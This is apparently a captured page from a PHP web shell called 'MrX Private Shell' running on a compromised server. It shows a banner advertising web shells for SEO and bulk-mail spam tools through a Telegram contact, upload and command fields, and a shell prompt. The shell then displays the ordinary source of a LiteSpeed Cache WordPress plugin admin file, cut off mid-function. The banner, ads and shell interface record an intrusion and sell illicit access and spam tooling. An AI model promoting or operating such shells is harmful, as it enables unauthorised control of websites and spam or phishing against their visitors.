__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
<?php
/**
 * The admin-panel specific functionality of the plugin.
 *
 * Provides admin page rendering, notices, enqueueing of assets,
 * menu registrations, and various admin utilities.
 *
 * @since      1.0.0
 * @package    LiteSpeed
 * @subpackage LiteSpeed/admin
 * @author     LiteSpeed Technologies <info@litespeedtech.com>
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Admin_Display
 *
 * Handles WP-Admin UI for LiteSpeed Cache.
 */
class Admin_Display extends Base {

	/**
	 * Log tag for Admin_Display.
	 *
	 * @var string
	 */
	const LOG_TAG = '👮‍♀️';

	/**
	 * Notice class (info/blue).
	 *
	 * @var string
	 */
	const NOTICE_BLUE = 'notice notice-info';
	/**
	 * Notice class (success/green).
	 *
	 * @var string
	 */
	const NOTICE_GREEN = 'notice notice-success';
	/**
	 * Notice class (error/red).
	 *
	 * @var string
	 */
	const NOTICE_RED = 'notice notice-error';
	/**
	 * Notice class (warning/yellow).
	 *
	 * @var string
	 */
	const NOTICE_YELLOW = 'notice notice-warning';
	/**
	 * Option key for one-time messages.
	 *
	 * @var string
	 */
	const DB_MSG = 'messages';
	/**
	 * Option key for pinned messages.
	 *
	 * @var string
	 */
	const DB_MSG_PIN = 'msg_pin';

	/**
	 * Purge by: category.
	 *
	 * @var string
	 */
	const PURGEBY_CAT = '0';
	/**
	 * Purge by: post ID.
	 *
	 * @var string
	 */
	const PURGEBY_PID = '1';
	/**
	 * Purge by: tag.
	 *
	 * @var string
	 */
	const PURGEBY_TAG = '2';
	/**
	 * Purge by: URL.
	 *
	 * @var string
	 */
	const PURGEBY_URL = '3';

	/**
	 * Purge selection field name.
	 *
	 * @var string
	 */
	const PURGEBYOPT_SELECT = 'purgeby';
	/**
	 * Purge list field name.
	 *
	 * @var string
	 */
	const PURGEBYOPT_LIST = 'purgebylist';

	/**
	 * Dismiss key for messages.
	 *
	 * @var string
	 */
	const DB_DISMISS_MSG = 'dismiss';
	/**
	 * Rule conflict flag (on).
	 *
	 * @var string
	 */
	const RULECONFLICT_ON = 'ExpiresDefault_1';
	/**
	 * Rule conflict dismissed flag.
	 *
	 * @var string
	 */
	const RULECONFLICT_DISMISSED = 'ExpiresDefault_0';

	/**
	 * Router type for QC hide banner.
	 *
	 * @var string
	 */
	const TYPE_QC_HIDE_BANNER = 'qc_hide_banner';
	/**
	 * Cookie name for QC hide banner.
	 *
	 * @var string
	 */
	const COOKIE_QC_HIDE_BANNER = 'litespeed_qc_hide_banner';

	/**
	 * Internal messages cache.
	 *
	 * @var array<string,string>
	 */
	protected $messages = array();

	/**
	 * Cached default settings.
	 *
	 * @var array<string,mixed>
	 */
	protected $default_settings = array();

	/**
	 * Whether current context is network admin.
	 *
	 * @var bool
	 */
	protected $_is_network_admin = false;

	/**
	 * Whether multisite is enabled.
	 *
	 * @var bool
	 */
	protected $_is_multisite = false;

	/**
	 * Incremental form submit button index.
	 *
	 * @var int
	 */
	private $_btn_i = 0;

	/**
	 * List of settings with filters and return type.
	 *
	 * @since 7.4
	 *
	 * @var array<string,array<string,mixed>>
	 */
	protected static $settings_filters = [
		// Crawler - Blocklist.
		'crawler-blocklist' => [
			'filter' => 'litespeed_crawler_disable_blocklist',
			'type'   => 'boolean',
		],
		// Crawler - Settings.
		self::O_CRAWLER_LOAD_LIMIT => [
			'filter' => [ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE, Base::ENV_CRAWLER_LOAD_LIMIT ],
			'type'   => 'input',
		],
		// Cache - ESI.
		self::O_ESI_NONCE => [
			'filter' => 'litespeed_esi_nonces',
		],
		// Page Optimization - CSS.
		'optm-ucss_per_pagetype' => [
			'filter' => 'litespeed_ucss_per_pagetype',
			'type'   => 'boolean',
		],
		// Page Optimization - Media.
		self::O_MEDIA_ADD_MISSING_SIZES => [
			'filter' => 'litespeed_media_ignore_remote_missing_sizes',
			'type'   => 'boolean',
		],
		// Page Optimization - Media Exclude.
		self::O_MEDIA_LAZY_EXC => [
			'filter' => 'litespeed_media_lazy_img_excludes',
		],
		// Page Optimization - Tuning (JS).
		self::O_OPTM_JS_DELAY_INC => [
			'filter' => 'litespeed_optm_js_delay_inc',
		],
		self::O_OPTM_JS_EXC => [
			'filter' => 'litespeed_optimize_js_excludes',
		],
		self::O_OPTM_JS_DEFER_EXC => [
			'filter' => 'litespeed_optm_js_defer_exc',
		],
		self::O_OPTM_GM_JS_EXC => [
			'filter' => 'litespeed_optm_gm_js_exc',
		],
		self::O_OPTM_EXC => [
			'filter' => 'litespeed_optm_uri_exc',
		],
		// Page Optimization - Tuning (CSS).
		self::O_OPTM_CSS_EXC => [
			'filter' => 'litespeed_optimize_css_excludes',
		],
		self::O_OPTM_UCSS_EXC => [
			'filter' => 'litespeed_ucss_exc',
		],
	];

	/**
	 * Initialize the class and set its properties.
	 *
	 * @since 1.0.7
	 */
	public function __construct() {
		// main css
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_style' ) );
		// Main js
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );

		$this->_is_network_admin = is_network_admin();
		$this->_is_multisite     = is_multisite();

		// Quick access menu
		$manage = ( $this->_is_multisite && $this->_is_network_admin ) ? 'manage_network_options' : 'manage_options';

		if ( current_user_can( $manage ) ) {
			add_action( 'wp_before_admin_bar_render', array( GUI::cls(), 'backend_shortcut' ) );

			// `admin_notices` is after `admin_enqueue_scripts`.
			add_action( $this->_is_network_admin ? 'network_admin_notices' : 'admin_notices', array( $this, 'display_messages' ) );
		}

		/**
		 * In case this is called outside the admin page.
		 *
		 * @see  https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network
		 * @since  2.0
		 */
		if ( ! function_exists( 'is_plugin_active_for_network' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		// add menus (Also check for mu-plugins)
		if ( $this->_is_network_admin && ( is_plugin_active_for_network( LSCWP_BASENAME ) || defined( 'LSCWP_MU_PLUGIN' ) ) ) {
			add_action( 'network_admin_menu', array( $this, 'register_admin_menu' ) );
		} else {
			add_action( 'admin_menu', array( $this, 'register_admin_menu' ) );
		}

		$this->cls( 'Metabox' )->register_settings();
	}

	/**
	 * Echo a translated section title.
	 *
	 * @since 3.0
	 *
	 * @param string $id Language key.
	 * @return void
	 */
	public function title( $id ) {
		echo wp_kses_post( Lang::title( $id ) );
	}

	/**
	 * Register the admin menu display.
	 *
	 * @since 1.0.0
	 * @return void
	 */
	public function register_admin_menu() {
		$capability = $this->_is_network_admin ? 'manage_network_options' : 'manage_options';
		if ( current_user_can( $capability ) ) {
			// root menu.
			add_menu_page( 'LiteSpeed Cache', 'LiteSpeed Cache', 'manage_options', 'litespeed' );

			// sub menus.
			$this->_add_submenu( __( 'Dashboard', 'litespeed-cache' ), 'litespeed', 'show_menu_dash' );

			if ( ! $this->_is_network_admin ) {
				$this->_add_submenu( __( 'Presets', 'litespeed-cache' ), 'litespeed-presets', 'show_menu_presets' );
			}

			$this->_add_submenu( __( 'General', 'litespeed-cache' ), 'litespeed-general', 'show_menu_general' );
			$this->_add_submenu( __( 'Cache', 'litespeed-cache' ), 'litespeed-cache', 'show_menu_cache' );

			if ( ! $this->_is_network_admin ) {
				$this->_add_submenu( __( 'CDN', 'litespeed-cache' ), 'litespeed-cdn', 'show_menu_cdn' );
			}

			$this->_add_submenu( __( 'Image Optimization', 'litespeed-cache' ), 'litespeed-img_optm', 'show_img_optm' );

			if ( ! $this->_is_network_admin ) {
				$this->_add_submenu( __( 'Page Optimization', 'litespeed-cache' ), 'litespeed-page_optm', 'show_page_optm' );
			}

			$this->_add_submenu( __( 'Database', 'litespeed-cache' ), 'litespeed-db_optm', 'show_db_optm' );

			if ( ! $this->_is_network_admin ) {
				$this->_add_submenu( __( 'Crawler', 'litespeed-cache' ), 'litespeed-crawler', 'show_crawler' );
			}

			$this->_add_submenu( __( 'Toolbox', 'litespeed-cache' ), 'litespeed-toolbox', 'show_toolbox' );

			// sub menus under options.
			add_options_page( 'LiteSpeed Cache', 'LiteSpeed Cache', $capability, 'litespeed-cache-options', array( $this, 'show_menu_cache' ) );
		}
	}

	/**
	 * Helper to create a submenu.
	 *
	 * @since 1.0.4
	 * @access private
	 *
	 * @param string $menu_title The title that appears on the menu.
	 * @param string $menu_slug  The slug of the page.
	 * @param string $callback   The callback to call if selected.
	 * @return void
	 */
	private function _add_submenu( $menu_title, $menu_slug, $callback ) {
		add_submenu_page( 'litespeed', $menu_title, $menu_title, 'manage_options', $menu_slug, array( $this, $callback ) );
	}

	/**
	 * Register the stylesheets for the admin area.
	 *
	 * @since 1.0.14
	 * @return void
	 */
	public function enqueue_style() {
		wp_enqueue_style( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/css/litespeed.css', array(), Core::VER, 'all' );
	}

	/**
	 * Register/enqueue the JavaScript for the admin area.
	 *
	 * @since 1.0.0
	 * @since 7.3 Added deactivation modal code.
	 * @return void
	 */
	public function enqueue_scripts() {
		wp_register_script( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/js/litespeed-cache-admin.js', array(), Core::VER, false );

		$localize_data = array();
		if ( GUI::has_whm_msg() ) {
			$ajax_url_dismiss_whm                  = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_WHM, true );
			$localize_data['ajax_url_dismiss_whm'] = $ajax_url_dismiss_whm;
		}

		if ( GUI::has_msg_ruleconflict() ) {
			$ajax_url                                       = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_EXPIRESDEFAULT, true );
			$localize_data['ajax_url_dismiss_ruleconflict'] = $ajax_url;
		}

		// Injection to LiteSpeed pages
		global $pagenow;
		$page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended

		if ( 'admin.php' === $pagenow && $page && ( 0 === strpos( $page, 'litespeed-' ) || 'litespeed' === $page ) ) {
			// Admin footer
			add_filter( 'admin_footer_text', array( $this, 'admin_footer_text' ), 1 );

			if ( in_array( $page, array( 'litespeed-crawler', 'litespeed-cdn' ), true ) ) {
				// Babel JS type correction
				add_filter( 'script_loader_tag', array( $this, 'babel_type' ), 10, 3 );

				wp_enqueue_script( Core::PLUGIN_NAME . '-lib-react', LSWCP_PLUGIN_URL . 'assets/js/react.min.js', array(), Core::VER, false );
				wp_enqueue_script( Core::PLUGIN_NAME . '-lib-babel', LSWCP_PLUGIN_URL . 'assets/js/babel.min.js', array(), Core::VER, false );
			}

			// Crawler Cookie Simulation
			if ( 'litespeed-crawler' === $page ) {
				wp_enqueue_script( Core::PLUGIN_NAME . '-crawler', LSWCP_PLUGIN_URL . 'assets/js/component.crawler.js', array(), Core::VER, false );

				$localize_data['lang']                              = array();
				$localize_data['lang']['cookie_name']               = __( 'Cookie Name', 'litespeed-cache' );
				$localize_data['lang']['cookie_value']              = __( 'Cookie Values', 'litespeed-cache' );
				$localize_data['lang']['one_per_line']              = Doc::one_per_line( true );
				$localize_data['lang']['remove_cookie_simulation']  = __( 'Remove cookie simulation', 'litespeed-cache' );
				$localize_data['lang']['add_cookie_simulation_row'] = __( 'Add new cookie to simulate', 'litespeed-cache' );
				if ( empty( $localize_data['ids'] ) ) {
					$localize_data['ids'] = array();
				}
				$localize_data['ids']['crawler_cookies'] = self::O_CRAWLER_COOKIES;
			}

			// CDN mapping
			if ( 'litespeed-cdn' === $page ) {
				$home_url = home_url( '/' );
				$parsed   = wp_parse_url( $home_url );
				if ( ! empty( $parsed['scheme'] ) ) {
					$home_url = str_replace( $parsed['scheme'] . ':', '', $home_url );
				}
				$cdn_url = 'https://cdn.' . substr( $home_url, 2 );

				wp_enqueue_script( Core::PLUGIN_NAME . '-cdn', LSWCP_PLUGIN_URL . 'assets/js/component.cdn.js', array(), Core::VER, false );
				$localize_data['lang']                         = array();
				$localize_data['lang']['cdn_mapping_url']      = Lang::title( self::CDN_MAPPING_URL );
				$localize_data['lang']['cdn_mapping_inc_img']  = Lang::title( self::CDN_MAPPING_INC_IMG );
				$localize_data['lang']['cdn_mapping_inc_css']  = Lang::title( self::CDN_MAPPING_INC_CSS );
				$localize_data['lang']['cdn_mapping_inc_js']   = Lang::title( self::CDN_MAPPING_INC_JS );
				$localize_data['lang']['cdn_mapping_filetype'] = Lang::title( self::CDN_MAPPING_FILETYPE );
				$localize_data['lang']['cdn_mapping_url_desc'] = sprintf( __( 'CDN URL to be used. For example, %s', 'litespeed-cache' ), '<code>' . esc_html( $cdn_url ) . '</code>' );
				$localize_data['lang']['one_per_line']         = Doc::one_per_line( true );
				$localize_data['lang']['cdn_mapping_remove']   = __( 'Remove CDN URL', 'litespeed-cache' );
				$localize_data['lang']['add_cdn_mapping_row']  = __( 'Add new CDN URL', 'litespeed-cache' );
				$localize_data['lang']['on']                   = __( 'ON', 'litespeed-cache' );
				$localize_data['lang']['off']                  = __( 'OFF', 'litespeed-cache' );
				if ( empty( $localize_data['ids'] ) ) {
					$localize_data['ids'] = array();
				}
				$localize_data['ids']['cdn_mapping'] = self::O_CDN_MAPPING;
			}
		}

		// Load iziModal JS and CSS
		$show_deactivation_modal = ( is_multisite() && ! is_network_admin() ) ? false : true;
		if ( $show_deactivation_modal && 'plugins.php' === $pagenow ) {
			wp_enqueue_script( Core::PLUGIN_NAME . '-iziModal', LSWCP_PLUGIN_URL . 'assets/js/iziModal.min.js', array(), Core::VER, true );
			wp_enqueue_style( Core::PLUGIN_NAME . '-iziModal', LSWCP_PLUGIN_URL . 'assets/css/iziModal.min.css', array(), Core::VER, 'all' );
			add_action( 'admin_footer', array( $this, 'add_deactivation_html' ) );
		}

		if ( $localize_data ) {
			wp_localize_script( Core::PLUGIN_NAME, 'litespeed_data', $localize_data );
		}

		wp_enqueue_script( Core::PLUGIN_NAME );
	}

	/**
	 * Add modal HTML on Plugins screen.
	 *
	 * @since 7.3
	 * @return void
	 */
	public function add_deactivation_html() {
		require LSCWP_DIR . 'tpl/inc/modal.deactivation.php';
	}

	/**
	 * Filter the script tag for specific handles to set Babel type.
	 *
	 * @since 3.6
	 *
	 * @param string $tag    The script tag.
	 * @param string $handle Script handle.
	 * @param string $src    Script source URL.
	 * @return string The filtered script tag.
	 */
	public function babel_type( $tag, $handle, $src ) {
		if ( Core::PLUGIN_NAME . '-crawler' !== $handle && Core::PLUGIN_NAME . '-cdn' !== $handle ) {
			return $tag;
		}

		// phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript
		return '<script src="' . Str::trim_quotes( $src ) . '" type="text/babel"></script>';
	}

	/**
	 * Callback that adds LiteSpeed Cache's action links.
	 *
	 * @since 1.0.0
	 *
	 * @param array<string> $links Previously added links from other plugins.
	 * @return array<string> Links with the LiteSpeed Cache one appended.
	 */
	public function add_plugin_links( $links ) {
		$links[] = '<a href="' . esc_url( admin_url( 'admin.php?page=litespeed-cache' ) ) . '">' . esc_html__( 'Settings', 'litespeed-cache' ) . '</a>';

		return $links;
	}

	/**
	 * Change the admin footer text on LiteSpeed Cache admin pages.
	 *
	 * @since 1.0.13
	 *
	 * @param string $footer_text Footer text.
	 * @return string
	 */
	public function admin_footer_text( $footer_text ) {
		require_once LSCWP_DIR . 'tpl/inc/admin_footer.php';

		return $footer_text;
	}

	/**
	 * Build a single notice HTML string.
	 *
	 * @since 1.0.7
	 *
	 * @param string $color              The color CSS class for the notice.
	 * @param string $str                The notice message.
	 * @param bool   $irremovable        If true, the notice cannot be dismissed.
	 * @param string $additional_classes Additional classes to add to the wrapper.
	 * @return string The built notice HTML.
	 */
	public static function build_notice( $color, $str, $irremovable = false, $additional_classes = '' ) {
		$cls = $color;
		if ( $irremovable ) {
			$cls .= ' litespeed-irremovable';
		} else {
			$cls .= ' is-dismissible';
		}
		if ( $additional_classes ) {
			$cls .= ' ' . $additional_classes;
		}

		// possible translation
		$str = Lang::maybe_translate( $str );

		return '<div class="litespeed_icon ' . esc_attr( $cls ) . '"><p>' . wp_kses_post( $str ) . '</p></div>';
	}

	/**
	 * Display info notice.
	 *
	 * @since 1.6.5
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function info( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::add_notice( self::NOTICE_BLUE, $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Display note (warning) notice.
	 *
	 * @since 1.6.5
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function note( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::add_notice( self::NOTICE_YELLOW, $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Display success notice.
	 *
	 * @since 1.6
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function success( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::add_notice( self::NOTICE_GREEN, $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Deprecated alias for success().
	 *
	 * @deprecated 4.7 Will drop in v7.5. Use success().
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function succeed( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::success( $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Display error notice.
	 *
	 * @since 1.6
	 *
	 * @param string|array<string> $msg                Message or list of messages.
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra CSS classes.
	 * @return void
	 */
	public static function error( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		self::add_notice( self::NOTICE_RED, $msg, $do_echo, $irremovable, $additional_classes );
	}

	/**
	 * Add unique (irremovable optional) messages.
	 *
	 * @since 4.7
	 *
	 * @param string               $color_mode  One of info|note|success|error.
	 * @param string|array<string> $msgs        Message(s).
	 * @param bool                 $irremovable If true, cannot be dismissed.
	 * @return void
	 */
	public static function add_unique_notice( $color_mode, $msgs, $irremovable = false ) {
		if ( ! is_array( $msgs ) ) {
			$msgs = array( $msgs );
		}

		$color_map = array(
			'info'    => self::NOTICE_BLUE,
			'note'    => self::NOTICE_YELLOW,
			'success' => self::NOTICE_GREEN,
			'error'   => self::NOTICE_RED,
		);
		if ( empty( $color_map[ $color_mode ] ) ) {
			self::debug( 'Wrong admin display color mode!' );
			return;
		}
		$color = $color_map[ $color_mode ];

		// Go through to make sure unique.
		$filtered_msgs = array();
		foreach ( $msgs as $k => $str ) {
			if ( is_numeric( $k ) ) {
				$k = md5( $str );
			} // Use key to make it overwritable to previous same msg.
			$filtered_msgs[ $k ] = $str;
		}

		self::add_notice( $color, $filtered_msgs, false, $irremovable );
	}

	/**
	 * Add a notice to display on the admin page (store or echo).
	 *
	 * @since 1.0.7
	 *
	 * @param string               $color              Notice color CSS class.
	 * @param string|array<string> $msg                Message(s).
	 * @param bool                 $do_echo            Echo immediately instead of storing.
	 * @param bool                 $irremovable        If true, cannot be dismissed.
	 * @param string               $additional_classes Extra classes for wrapper.
	 * @return void
	 */
	public static function add_notice( $color, $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) {
		// Bypass adding for CLI or cron
		if ( defined( 'LITESPEED_CLI' ) || wp_doing_cron() ) {
			// WP CLI will show the info directly
			if ( defined( 'WP_CLI' ) && WP_CLI ) {
				if ( ! is_array( $msg ) ) {
					$msg = array( $msg );
				}
				foreach ( $msg as $v ) {
					$v = wp_strip_all_tags( $v );
					if ( self::NOTICE_RED === $color ) {
						\WP_CLI::error( $v, false );
					} else {
						\WP_CLI::success( $v );
					}
				}
			}
			return;
		}

		if ( $do_echo ) {
			echo self::build_notice( $color, $msg, $irremovable, $additional_classes ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			return;
		}

		$msg_name = $irremovable ? self::DB_MSG_PIN : self::DB_MSG;

		$messages = self::get_option( $msg_name, array() );
		if ( ! is_array( $messages ) ) {
			$messages = array();
		}

		if ( is_array( $msg ) ) {
			foreach ( $msg as $k => $str ) {
				$messages[ $k ] = self::build_notice( $color, $str, $irremovable, $additional_classes );
			}
		} else {
			$messages[] = self::build_notice( $color, $msg, $irremovable, $additional_classes );
		}
		$messages = array_unique( $messages );
		self::update_option( $msg_name, $messages );
	}

	/**
	 * Display notices and errors in dashboard.
	 *
	 * @since 1.1.0
	 * @return void
	 */
	public function display_messages() {
		if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) {
			$this->_in_upgrading();
		}

		if ( GUI::has_whm_msg() ) {
			$this->show_display_installed();
		}

		Data::cls()->check_upgrading_msg();

		// If is in dev version, always check latest update
		Cloud::cls()->check_dev_version();

		// One time msg
		$messages       = self::get_option( self::DB_MSG, array() );
		$added_thickbox = false;
		if ( is_array( $messages ) ) {
			foreach ( $messages as $msg ) {
				// Added for popup links
				if ( strpos( $msg, 'TB_iframe' ) && ! $added_thickbox ) {
					add_thickbox();
					$added_thickbox = true;
				}
				echo wp_kses_post( $msg );
			}
		}
		if ( -1 !== $messages ) {
			self::update_option( self::DB_MSG, -1 );
		}

		// Pinned msg
		$messages = self::get_option( self::DB_MSG_PIN, array() );
		if ( is_array( $messages ) ) {
			foreach ( $messages as $k => $msg ) {
				// Added for popup links
				if ( strpos( $msg, 'TB_iframe' ) && ! $added_thickbox ) {
					add_thickbox();
					$added_thickbox = true;
				}

				// Append close btn
				if ( '</div>' === substr( $msg, -6 ) ) {
					$link = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_PIN, false, null, array( 'msgid' => $k ) );
					$msg  =
						substr( $msg, 0, -6 ) .
						'<p><a href="' .
						esc_url( $link ) .
						'" class="button litespeed-btn-primary litespeed-btn-mini">' .
						esc_html__( 'Dismiss', 'litespeed-cache' ) .
						'</a>' .
						'</p></div>';
				}
				echo wp_kses_post( $msg );
			}
		}

		if ( empty( $_GET['page'] ) || 0 !== strpos( sanitize_text_field( wp_unslash( $_GET['page'] ) ), 'litespeed' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			global $pagenow;
			if ( 'plugins.php' !== $pagenow ) {
				return;
			}
		}

		if ( ! $this->conf( self::O_NEWS ) ) {
			return;
		}

		// Show promo from cloud
		Cloud::cls()->show_promo();

		/**
		 * Check promo msg first
		 *
		 * @since 2.9
		 */
		GUI::cls()->show_promo();

		// Show version news
		Cloud::cls()->news();
	}

	/**
	 * Dismiss pinned msg.
	 *
	 * @since 3.5.2
	 * @return void
	 */
	public static function dismiss_pin() {
		if ( ! isset( $_GET['msgid'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			return;
		}

		$messages = self::get_option( self::DB_MSG_PIN, array() );
		$msgid    = sanitize_text_field( wp_unslash( $_GET['msgid'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended

		if ( ! is_array( $messages ) || empty( $messages[ $msgid ] ) ) {
			return;
		}

		unset( $messages[ $msgid ] );
		if ( ! $messages ) {
			$messages = -1;
		}
		self::update_option( self::DB_MSG_PIN, $messages );
	}

	/**
	 * Dismiss pinned msg by msg content.
	 *
	 * @since 7.0
	 *
	 * @param string $content     Message content.
	 * @param string $color       Color CSS class.
	 * @param bool   $irremovable Is irremovable.
	 * @return void
	 */
	public static function dismiss_pin_by_content( $content, $color, $irremovable ) {
		$content  = self::build_notice( $color, $content, $irremovable );
		$messages = self::get_option( self::DB_MSG_PIN, array() );
		$hit      = false;
		if ( -1 !== $messages ) {
			foreach ( $messages as $k => $v ) {
				if ( $v === $content ) {
					unset( $messages[ $k ] );
					$hit = true;
					self::debug( '✅ pinned msg content hit. Removed' );
					break;
				}
			}
		}
		if ( $hit ) {
			if ( ! $messages ) {
				$messages = -1;
			}
			self::update_option( self::DB_MSG_PIN, $messages );
		} else {
			self::debug( '❌ No pinned msg content hit' );
		}
	}

	/**
	 * Hooked to the in_widget_form action.
	 * Appends LiteSpeed Cache settings to the widget edit settings screen.
	 * This will append the esi on/off selector and ttl text.
	 *
	 * @since 1.1.0
	 *
	 * @param \WP_Widget $widget     The widget instance (passed by reference).
	 * @param mixed      $return_val Return param (unused).
	 * @param array      $instance   The widget instance's settings.
	 * @return void
	 */
	public function show_widget_edit( $widget, $return_val, $instance ) {
		require LSCWP_DIR . 'tpl/esi_widget_edit.php';
	}

	/**
	 * Displays the dashboard page.
	 *
	 * @since 3.0
	 * @return void
	 */
	public function show_menu_dash() {
		$this->cls( 'Cloud' )->maybe_preview_banner();
		require_once LSCWP_DIR . 'tpl/dash/entry.tpl.php';
	}

	/**
	 * Displays the Presets page.
	 *
	 * @since 5.3
	 * @return void
	 */
	public function show_menu_presets() {
		require_once LSCWP_DIR . 'tpl/presets/entry.tpl.php';
	}

	/**
	 * Displays the General page.
	 *
	 * @since 3.0
	 * @return void
	 */
	public function show_menu_general() {
		$this->cls( 'Cloud' )->maybe_preview_banner();
		require_once LSCWP_DIR . 'tpl/general/entry.tpl.php';
	}

	/**
	 * Displays the CDN page.
	 *
	 * @since 3.0
	 * @return void
	 */
	public function show_menu_cdn() {
		$this->cls( 'Cloud' )->maybe_preview_banner();
		require_once LSCWP_DIR . 'tpl/cdn/entry.tpl.php';
	}

	/**
	 * Outputs the LiteSpeed Cache settings page.
	 *
	 * @since 1.0.0
	 * @return void
	 */
	public function show_menu_cache() {
		if ( $this->_is_network_admin ) {
			require_once LSCWP_DIR . 'tpl/cache/entry_network.tpl.php';
		} else {
			require_once LSCWP_DIR . 'tpl/cache/entry.tpl.php';
		}
	}

	/**
	 * Tools page.
	 *
	 * @since 3.0
	 * @return void
	 */
	public function show_toolbox() {
		$this->cls( 'Cloud' )->maybe_preview_banner();
		require_once LSCWP_DIR . 'tpl/toolbox/entry.tpl.php';
	}

	/**
	 * Outputs the crawler operation page.
	 *
	 * @since 1.1.0
	 * @return void
	 */
	public function show_crawler() {
		$this->cls( 'Cloud' )->maybe_preview_banner();
		require_once LSCWP_DIR . 'tpl/crawler/entry.tpl.php';
	}

	/**
	 * Outputs the image optimization page.
	 *
	 * @since 1.6
	 * @return void
	 */
	public function show_img_optm() {
		$this->cls( 'Cloud' )->maybe_preview_banner();
		require_once LSCWP_DIR . 'tpl/img_optm/entry.tpl.php';
	}

	/**
	 * Page optimization page.
	 *
	 * @since 3.0
	 * @return void
	 */
	public function show_page_optm() {
		$this->cls( 'Cloud' )->maybe_preview_banner();
		require_once LSCWP_DIR . 'tpl/page_optm/entry.tpl.php';
	}

	/**
	 * DB optimization page.
	 *
	 * @since 3.0
	 * @return void
	 */
	public function show_db_optm() {
		require_once LSCWP_DIR . 'tpl/db_optm/entry.tpl.php';
	}

	/**
	 * Outputs a notice when the plugin is installed via WHM.
	 *
	 * @since 1.0.12
	 * @return void
	 */
	public function show_display_installed() {
		require_once LSCWP_DIR . 'tpl/inc/show_display_installed.php';
	}

	/**
	 * Display error cookie msg.
	 *
	 * @since 1.0.12
	 * @return void
	 */
	public static function show_error_cookie() {
		require_once LSCWP_DIR . 'tpl/inc/show_error_cookie.php';
	}

	/**
	 * Display warning if lscache is disabled.
	 *
	 * @since 2.1
	 * @return void
	 */
	public function cache_disabled_warning() {
		include LSCWP_DIR . 'tpl/inc/check_cache_disabled.php';
	}

	/**
	 * Display conf data upgrading banner.
	 *
	 * @since 2.1
	 * @access private
	 * @return void
	 */
	private function _in_upgrading() {
		include LSCWP_DIR . 'tpl/inc/in_upgrading.php';
	}

	/**
	 * Output LiteSpeed form open tag and hidden fields.
	 *
	 * @since 3.0
	 *
	 * @param string|false $action     Router action.
	 * @param string|false $type       Router type.
	 * @param bool         $has_upload Whether form has file uploads.
	 * @return void
	 */
	public function form_action( $action = false, $type = false, $has_upload = false ) {
		if ( ! $action ) {
			$action = Router::ACTION_SAVE_SETTINGS;
		}

		if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) {
			echo '<div class="litespeed-relative">';
		} else {
			$current = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';
			if ( $has_upload ) {
				echo '<form method="post" action="' . esc_url( $current ) . '" class="litespeed-relative" enctype="multipart/form-data">';
			} else {
				echo '<form method="post" action="' . esc_url( $current ) . '" class="litespeed-relative">';
			}
		}

